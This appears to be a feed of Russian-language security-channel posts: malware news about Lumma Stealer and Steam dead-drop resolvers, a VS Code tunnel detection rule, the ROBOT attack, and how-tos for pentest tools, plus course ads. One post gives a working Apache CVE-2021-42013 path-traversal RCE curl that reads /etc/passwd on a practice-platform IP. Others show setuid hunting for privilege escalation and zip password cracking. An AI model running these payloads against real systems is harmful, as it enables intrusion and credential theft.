Codeby

Вы когда-нибудь замечали странные профили среди ваших друзей в Steam с именами, похожими на случайные наборы символов? Возможно, это не просто шутка, а часть сложной кибератаки.

Расследование Solar4Rays проливает свет на то, как злоумышленники используют платформы вроде Steam и Telegram в сочетании с техникой Dead Drop Resolver (DDR), чтобы скрыть адреса своих C2 (Command and Control) серверов.

❓ Что такое C2 C2, или сервер управления и контроля, — ключевой элемент кибератаки. Именно через него злоумышленники общаются с заражёнными устройствами, координируют действия вредоносного ПО и извлекают украденные данные. Один из изощрённых методов — техника T1102.001 Dead Drop Resolver: 🔸 Вместо прямого указания на C2, вредоносный код извлекает данные из публичных сервисов. 🔸 Например, адрес сервера может быть зашифрован и спрятан в имени профиля пользователя Steam. Как работает DDR на примере LummaC2 LummaC2 — это инструмент, активно используемый для кражи данных, таких как cookie браузеров, криптовалютные кошельки и данные 2FA. Злоумышленники используют следующую схему: 1️⃣ Создание C2-сервера: настраивают сервер для управления атакой. 2️⃣ Маскировка ссылки: размещают зашифрованный адрес C2 в имени профиля Steam. 3️⃣ Заражение жертвы: жертва может случайно запустить вредоносное ПО, считав скрытый адрес C2 с профиля злоумышленника. 4️⃣ Кража данных: после установки связь между устройством жертвы и C2 сервером открыта, начинается передача украденной информации. Техника Dead Drop Resolver идеально маскируется под легитимную активность. Steam, как платформа с миллионами пользователей, становится удобным местом для размещения скрытых команд, которые сложно отследить. ⏩Читать подробнее

Студенческий ИТ-чемпионат «Кибербезопасность в финансах» от Банка России – соревнование для молодых специалистов в сфере информационной безопасности. В программе поиск флагов в CTF-задачах, решение аналитической задачи, а в финале – тематический кейс-чемпионат и сражение на киберполигоне в Екатеринбурге! Собирайте команду единомышленников и включайтесь в борьбу за призовой фонд – 1 000 000 рублей. Регистрация Приглашаем к участию студенческие команды из 4 или 5 человек. Подать заявку и присоединиться к яркому событию в мире инфобеза можно до 4 декабря. Соревнование пройдет в 2 этапа: онлайн-отбор и офлайн-финал на форуме «Кибербезопасность в финансах» в Екатеринбурге! Сначала на платформе Codenrock пройдет онлайн-этап (6-8 декабря): 🔹Четыре CTF-задачи – находите флаги, зарабатывайте баллы.   🔹Аналитическая задача – обнаружьте уязвимость в системе и предложите варианты защиты. Лучшие 10 команд отборочного этапа будут объявлены уже 10 декабря и приглашены в Екатеринбург, где пройдет офлайн-финал (16-21 февраля) соревнования, включающий: 🔹Подготовку и защиту ИБ-кейса – за 2 месяца до очного этапа участники получат уникальную тему, которую необходимо проработать и презентовать жюри.  🔹Киберполигон – соревнование с лучшими соперниками и защита банка от киберугроз в реальном времени.  Финал чемпионата пройдет в рамках большого события федерального уровня – Уральского форума «Кибербезопасность в финансах» от Банка России. Регистрация открыта до 4 декабря

Yersinia 🕸 Платформа для проведения атак второго уровня. Он предназначен для использования некоторых недостатков различных сетевых протоколов. Он претендует на роль надежной основы для анализа и тестирования развернутых сетей и систем.

Yersinia получила название в честь бактерий иерсиний и стала сетевой утилитой, которая разработана для использования уязвимых сетевых протоколов под видом безопасной сетевой системы анализа и тестирования.

В данной версии реализованы атаки на следующие сетевые протоколы:

Протокол связующего дерева (STP).
Протокол обнаружения Cisco (CDP).
Динамический транкинговый протокол (DTP).
Протокол динамической конфигурации хоста (DHCP).
Протокол маршрутизатора горячего резерва (HSRP).
802.1к.
802.1х.
Протокол межкоммутаторного соединения (ISL).
Транкинговый протокол VLAN (VTP).

Запуск с графическим интерфейсом:

yersinia -G

Специалисты Unit42 исследовали использование кибергруппировкой Stately Taurus встроенной функции обратной оболочки Visual Studio Code. 🔎 Злоумышленники используют её для следующих целей: ⏺️выполнение произвольного кода и предоставление дополнительной полезной нагрузки; ⏺️доставка вредоносного ПО в зараженные среды; ⏺️проведение разведки; ⏺️извлечение конфиденциальных данных. ✏️ Для использования Visual Studio Code во вредоносных целях, злоумышленник может использовать переносимую версию code.exe (исполняемый файл для Visual Studio Code) или уже установленную версию программного обеспечения. 👀 Выполнив команду code.exe tunnel, злоумышленник получает ссылку, которая требует от него войти в GitHub под своей учетной записью. После входа в систему злоумышленник перенаправляется в веб-среду Visual Studio Code, подключенную к взломанному компьютеру. Затем ему разрешается выполнять команды и сценарии, а также создавать новые файлы на зараженном компьютере. 🚨 Для мониторинга данной угрозы в системе Windows можно использовать правила появления в журнале безопасности событий со следующими параметрами:

Event ID = 4688, Parent Process name содержит: «cmd.exe», New Process Name содержит "cmd" или ''powershell'. Event ID = 4663, Object Name содержит строку в формате %UserProfile%\.vscode-cli\code_tunnel.json

SSH Запуск SSH и добавление его в автозагрузку делается следующими командами:

sudo systemctl enable sshd.service --now

или

sudo service ssh start

Для остановки демона замените start на stop, для перезапуска restart, для вывода статуса - status. По умолчанию порт работы SSH - 22. По умолчанию, все пользователи, кроме root, могут удалённо осуществлять вход по SSH:

ssh username@IP -p 22

Если вам необходимо подключиться к root удалённо, зайдите в конфигурационный файл и на пункте PermitRootLogin установите значение Yes.

Делать так я настоятельно не рекомендую.

В 1998 году криптограф Даниэль Блейхенбахер обнаружил серьёзную уязвимость в реализации RSA-шифрования (PKCS#1 v1.5), используемой в SSL 2.0/3.0. Атака, получившая название Bleichenbacher's Attack или «атака миллиона сообщений», позволяла злоумышленникам расшифровывать данные без знания закрытого ключа. Суть атаки заключалась в использовании оракула — сервера, который при расшифровке указывал, соответствует ли сообщение стандарту PKCS. Злоумышленник, адаптивно изменяя шифротекст и анализируя ответы оракула, мог частями восстанавливать зашифрованный текст. Это полностью компрометировало конфиденциальность SSL. 🤖 Возвращение проблемы В 2017 году на смену «атаке миллиона сообщений» пришёл ROBOT (Return Of Bleichenbacher’s Oracle Threat). Исследователи обнаружили, что многие серверы до сих пор не корректно реализуют защиту RSA в соответствии с рекомендациями RFC 5246 для TLS. ROBOT использует те же принципы, что и атака Блейхенбахера, но с учётом современных реалий: 🔸 Распознавание различных типов ошибок сервера (тайм-ауты, сброс соединения, дублирующиеся оповещения TLS). 🔸 Возможность расшифровки текста или создания цифровой подписи от имени сервера. 🛡 Чем опасен ROBOT? Хотя современные TLS-соединения чаще используют обмен ключами Диффи-Хеллмана на эллиптических кривых (ECDHE), уязвимые реализации RSA всё ещё встречаются, особенно в старом оборудовании или плохо обновляемых системах.

Важно понимать, что атака ROBOT не связана со стойкостью RSA как такового — она эксплуатирует только ошибки в реализации PKCS#1 v1.5.

Как защититься: 🔸Переходите на TLS 1.3. Этот протокол полностью исключает использование уязвимого режима шифрования. 🔸Проверяйте серверы. Исследователи ROBOT опубликовали на GitHub Python-скрипт для проверки уязвимости. Дополнительно можно использовать инструмент tlsfuzzer. 🔸Обновляйте оборудование и ПО. Устаревшие системы с некорректной реализацией TLS чаще всего подвержены этим атакам. ➡️ Читать подробнее

fcrackzip 📂 Данный иснтрумент взламывает запароленные zip архивы. По умолчанию программа не установлена, устанавливаем:

sudo apt install fcrackzip

после этого запускаем с каким нибудь архивом:

fcrackzip archive.zip

Программа начнёт перебор возможных комбинаций паролей, и придётся подождать. Время ожидания зависит от сложности пароля. Программа выдаст следующий результат по завершению.

possible pw found: 123456seven

Где, 123456seven - и есть наш пароль.

Поиск файлов в Linux🔍 Существует несколько способов поиска файлов в Linux. Три основых - это команды locate, find и which. Команда locate хранит свои данные в базе данных, потому при поиске работает быстрее. Для начала нужно её обновить:

updatedb

Теперь можем использовать команду locate:

locate [ИМЯ ФАЙЛА]

Если результатов слишком много, используйте ключ -n для того, чтобы ограничить вывод. Комбинируйте это с командой grep о которой я рассказал тут и тогда вы получите больше примуществ. Чтобы найти путь к файлу, введите команду which. Она использует переменную среды $PATH для поиска результатов. Например, чтобы узнать где установлена та или иная программа, введите:

which [ИМЯ ПРОГРАММЫ]

Преимущество команды find является её возможность добавлять более детальные фильтры, что найти что-то. Например, чтобы найти файл в корневом каталоге, можно использовать:

find /home/user/ -name "file.txt"

Или, если вы хотите найти большие файлы, то можно воспользоваться ключом -size:

find / -size +1G 2> /dev/null

2> /dev/null очистит вывод и отфильтрует ошибки

Можно также найти файлы setuid в Linux для повышения привелегий.

find / -perm -u=s -type f 2>/dev/null

🔄 💻 tartufo 5.0.2 🔸Поиск в репозиториях git строк и секретов основываясь на энтропии. 🔸Проверяет историю коммитов и т.д. 🔸Похож на trufflehog, но мне понравился даже больше в РУ реалиях. 🔸Написан на Python 🐍 Установка:

pip install tartufo

Есть несколько режимов:

tartufo scan-folder [OPTIONS] TARGET
tartufo scan-local-repo [OPTIONS] REPO_PATH
tartufo scan-remote-repo [OPTIONS] GIT_URL

В основном интересен scan-remote-repo, проверил на своем репозитории, забыл убрать токен телеграм бота, на скрине все видно

tartufo scan-remote-repo https://github.com/akhomlyuk/pyradm

Токены заменены!

SQLMC 💉 SQLMC (SQL Injection Massive Checker) — это инструмент, предназначенный для сканирования домена на предмет уязвимостей SQL-инъекций. Он сканирует указанный URL-адрес до указанной глубины, проверяет каждую ссылку на наличие уязвимостей SQL-инъекций и сообщает о своих результатах. Использование sqlmc:

-u, --url: Сканирует URL -d, --depth: Глубина сканирования -o, --output: Сохранить файл с выводом

Например:

sqlmc -u http://example.com -d 2

⚙️ Jaeles v0.17.1 Мощный, гибкий и легко расширяемый framework, написанный на 🖼️ Go для создания собственного сканера веб-приложений. Работает с .yaml шаблонами и чем то похож на nuclei. Установка:

go install github.com/jaeles-project/jaeles@latest

Установка сигнатур:

jaeles config init

Примеры запуска:

# Scan Usage example:
jaeles scan -s <signature> -u <url>
jaeles scan -c 50 -s <signature> -U <list_urls> -L <level-of-signatures>
jaeles scan -c 50 -s <signature> -U <list_urls>
jaeles scan -c 50 -s <signature> -U <list_urls> -p 'dest=xxx.burpcollaborator.net'
jaeles scan -c 50 -s <signature> -U <list_urls> -f 'noti_slack "{{.vulnInfo}}"'
jaeles scan -v -c 50 -s <signature> -U list_target.txt -o /tmp/output
jaeles scan -s <signature> -s <another-selector> -u http://example.com
jaeles scan -G -s <signature> -s <another-selector> -x <exclude-selector> -u http://example.com

cat list_target.txt | jaeles scan -c 100 -s <signature>


# Examples:
jaeles scan -s 'jira' -s 'ruby' -u target.com
jaeles scan -c 50 -s 'java' -x 'tomcat' -U list_of_urls.txt
jaeles scan -G -c 50 -s '/tmp/custom-signature/.*' -U list_of_urls.txt
jaeles scan -v -s '~/my-signatures/products/wordpress/.*' -u 'https://wp.example.com' -p 'root=[[.URL]]'

cat urls.txt | grep 'interesting' | jaeles scan -L 5 -c 50 -s 'fuzz/.*' -U list_of_urls.txt --proxy http://127.0.0.1:8080

jaeles server -s '/tmp/custom-signature/sensitive/.*' -L 2 --fi

Написал шаблон под RCE для веб сервера Apache 2.4.49-50 Задание на codeby.games с уязвимым сервером. На нем и проверим. Запрос curl'ом выглядит так:

curl 'http://62.173.140.174:10009/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh' --data 'echo Content-Type: text/plain; echo; id && cat /etc/passwd'

Запуск:

./jaeles scan -s '~/.jaeles/base-signatures/cves/apache-rce-cve-2021-42013*' -u 'http://62.173.140.174:10009' -v

Кладем в директорию сигнатур и инициализируем конфиг:

./jaeles config init

🚩 Новые задания на платформе Codeby Games! 🕵️ Категория Форензика — В чём секрет кота Бориса? 🏆 Категория Квесты — SSL 🧰 Категория PWN — 0xLEET Приятного хакинга!

🔄 ♥️ bettercap v2.40.0 Мощная, легко расширяемая платформа, написанная на 💻 Go, которая призвана предложить исследователям, пентестерам и реверс-инженерам простое в использовании решение "все в одном", для проведения разведки и атак на сети 👴 Wi-Fi, Bluetooth, беспроводные HID устройства и сети 🚠 Ethernet. Установка в 💻 Kali:

sudo apt update && sudo apt install bettercap

Установка via 🖥 Docker:

docker pull bettercap/dev
docker run -it --privileged --net=host bettercap/dev -h

Запуск Web UI и интерактивной сессии:

sudo bettercap -caplet http-ui

sudo bettercap

Стандартные данные для входа:

Логин: user Пароль: pass

Возможности:

Сканирование WiFi сетей, деаутентификация клиентов Авто захват рукопожатий Bluetooth сканирование ARP, DNS, NDP and DHCPv6 спуферы для MitM атак Мощный сетевой сниффер Быстрый сканер портов Удобный веб интерфейс И многое другое

Говорим о киберугрозах завтрашнего дня на ICEBREAKER 2024 Компания NGENIX продолжает регистрацию на IV ежегодную онлайн-конференцию о веб-безопасности. Дата проведения — 4 декабря в 11:00. Участие бесплатное. Зрителей ждут тематические секции с докладами, презентациями и воркшопами. Выступления коснутся самых актуальных вопросов защиты сайтов и приложений. ➡️ Развитие российских продуктов ИБ и импортозамещение. ➡️ Противодействие актуальным угрозам, включая бот-атаки и атаки на API. ➡️ Лучшие практики использования WAF. ➡️ Средства аналитики для принятия решений при атаках и не только. ➡️ Инструменты обеспечения доступности веб-ресурсов. ➡️ Дефицит кадров в сфере ИБ.Будьте на шаг впереди злоумышленников! Добро пожаловать на борт ICEBREAKER 2024 - https://clck.ru/3EZGWP

Telegram продолжает набирать популярность среди злоумышленников, использующих его для распространения вредоносных программ, таких как Lumma Stealer. Lumma Stealer способен украсть огромное количество личной информации: логины, пароли, данные банковских карт, истории браузеров и многое другое. ⚙️ Как работает атака? Lumma Stealer распространяется через Telegram-каналы, которые предлагают "крякнутые" программы или архивы с якобы безвредным ПО. Один из таких каналов, VIP HitMaster Program, насчитывает более 42,000 подписчиков, а второй, MegaProgram +, имеет 8660 подписчиков. Интересно, что оба канала часто пересылают друг другу сообщения, что делает их влияние ещё более широким. В одном из разобранных случаев, злоумышленники замаскировали вредоносный файл под популярную программу CCleaner 2024 — средство для очистки системы и оптимизации производительности. Но после извлечения из архива (.rar) пользователи обнаруживали, что вместо ожидаемого установочного файла CCleaner, они получали два заражённых файла, одним из которых был Lumma Stealer. В частности, файл с названием XTb9DOBjB3.exe является вредоносным и используется для кражи конфиденциальной информации. ⚙️ Механизмы скрытности и обфускации Файл был не просто вредоносным, но и тщательно замаскированным. Например, он скрывал код, который подключался к аккаунту на Steam, чтобы установить связь с командным сервером злоумышленника. Странным образом, имя пользователя было зашифровано и подключено к нескольким псевдонимам. После дешифровки этого имени, вредоносное ПО связывалось с сервером командования и управления (C2), что позволяло атакующим не только красть данные, но и скачивать дополнительные вредоносные файлы. Все эти действия затрудняют обнаружение вредоносного ПО антивирусами и системами защиты. 💱 География атак Больше всего атак в настоящее время подвергаются пользователи Telegram из Индии, за ними следуют пользователи из США и Европы. Это подтверждает, что злоумышленники стремятся охватить как можно более широкую аудиторию, используя Telegram как популярную платформу для доставки угроз. 🚨 Запомните, использование популярных платформ как каналов для распространения вредоносного ПО — это не что-то новое, но Telegram даёт злоумышленникам уникальные возможности для обхода защиты. Поэтому будьте особенно внимательны к тем файлам, которые вы скачиваете и открываете через этот мессенджер. #новости

Необходимо взять под контроль безопасность корпоративной среды со множеством информационных систем, удаленных и офисных сотрудников, ротацией кадров? Обеспечить комфорт пользователей и победить аврал при администрировании ИС?🛡🧘‍♂️ 📆На вебинаре 28 ноября в 11:00 мск расскажем, как закрыть эти проблемы одним решением. Представим систему «Цифровой КУПОЛ», которая позволяет создать единую точку администрирования и контроля доступа для всех ИС организации. Продукт включен в реестр отечественного ПО и соответствует требованиям ФСТЭК России. 📌В программе 1. Задачи ИБ и системного администрирования, которые решает «Цифровой КУПОЛ»: 🔹настройка регламентов доступа, парольных политик; 🔹управление сессиями и контроль доступов; 🔹многофакторная аутентификация; 🔹централизованное управление ролями и правами доступа; 🔹интеграция с LDAP или локальное хранение доступов. 2. Требования и практики безопасной разработки ПО, заложенные в основу создания «Цифрового КУПОЛА». 👉Регистрация.

Дипфейк — это поддельное фото, видео или аудио, сгенерированное искусственным интеллектом для имитации внешности и голоса человека. При создании дипфейков нейросеть анализирует и копирует мимику, движения лица, интонацию и даже фон речи. 👀 В новой статье разбираем как работают дипфейки и как с ними бороться. Основные инструменты создания дипфейков — это генеративно-состязательные сети (GAN), автоэнкодеры, рекуррентные сети (для аудио) и сложные алгоритмы трекинга движений лица.

🗣️ Сейчас дипфейки можно встретить как в развлекательной индустрии, так и в рекламе. Например, дипфейк с Брюсом Уиллисом использовался в рекламе «МегаФона», а в кинематографе они позволяют завершать съёмки с участием актёров, которые покинули проект, как это было с Полом Уокером в «Форсаже 7».

Но в политике и преступной сфере дипфейки представляют угрозу, помогая манипулировать общественным мнением и обманывать людей. Преступники подделывают голоса и образы для вымогательства денег и распространения дезинформации. Чем опасны дипфейки? Дипфейки становятся мощным инструментом в руках мошенников, позволяя обманом получать доступ к деньгам и конфиденциальной информации. Среди опасностей: 🔸Финансовое мошенничество 🔸Обход систем безопасности ➡️ Читать полную версию статьи

Компоненты AD Kerberos, Microsoft SQL Server и центр сертификации — как их взломать? 💬 Научим на курсе “Атака на Active Directory". Авторы: HackerRalf (Михаил Порываев) и BlackRabbit (Павел Никитин), 5-кратные победители the Standoff Содержание курса: 🙂 Архитектура AD и ее базис 🙂 Харденинг в AD, добыча критичной информации, развитие по инфраструктуре 🙂 Как закрепиться внутри? Техники и эксплоиты ➡️ практическая лаборатория AD содержит более 30 виртуальных машин, позволяя участникам отточить свои навыки на практике в 100+ рабочих тасках 🌟 Сертификат / удостоверение о повышении квалификации 🌟 Старт: 16 декабря* *Успейте приобрести курс по старой цене до конца ноября! 🚀 @Codeby_Academy ➡️ Узнать подробнее о курсе ➡️ Читайте отзывы от учеников предыдущих потоков здесь

NetScanner👴 Netscanner — это инструмент сканирования сети с такими функциями, как: Список интерфейсов оборудования, Переключение активного интерфейса для сканирования и дампа пакетов, Сканирование сетей WiFi, Уровень сигнала WiFi (с диаграммами), Pinging CIDR с именем хоста, oui и mac-адресом, Дамп пакетов (TCP, UDP, ICMP, ARP), Дамп пакетов, Запуск/пауза дампа пакетов. Использование netscanner:

-t, --tick-rate: Скорость тика, т.е. количество тиков в секунду (По умолчанию: 1)
-f, --frame-rate: Частота кадров, т.е. количество кадров в секунду (По умолчанию: 10)
-h, --help: Вывод помощи
-v, --version: Вывод версии программы

Запуск:

netscanner

Вы сможете увидеть сигнали WiFi в левом верхнем меню, в правом верхнем доступные интерфейсы, а снизу Пакеты, Порты, Трафик.

Права доступа в Linux💻 В правах доступа для файлов и каталогов приминяется одинаковый принцип. В целях упрощения права доступа разделены на три категории:

r - чтение: 4;
w - запись: 2;
x - исполнение: 1;

Для установки прав доступа используется такой шаблон:

[User:r/w/x] [Group:r/w/x] [All:r/w/x]

Для практики можно создать простой скрипт который выводит надпись "hello world".

#!/bin/bash

echo "Hello world!"

и посмотреть его права командой ls -la | grep 'main.sh' Для примера у нас будет такой вывод:

-rw-r--r--

Мы видим что для пользователя есть права на чтение и запись, для участников нашей группы есть право только читать, и у всех остальных тоже доступ только к чтению. Запустить его мы не сможем, так как у скрипта нет на это прав. Для этого давайте изменим его права специальной командой chmod:

chmod 774 main.sh

Почему 774? Ответ: Мы прибегли с следующей формуле User/Group/All:4+2+1, где 4 - чтение, 2 - запись, 1 - исполнение. 4+2+1=7

Теперь не только мы, но и пользователи нашей группы смогут использовать, читать и редактировать файл. Остальные только читать. Для простоты можно заменить числа на буквы

chmod +x main.sh

также будет работать и позволит скрипту исполниться.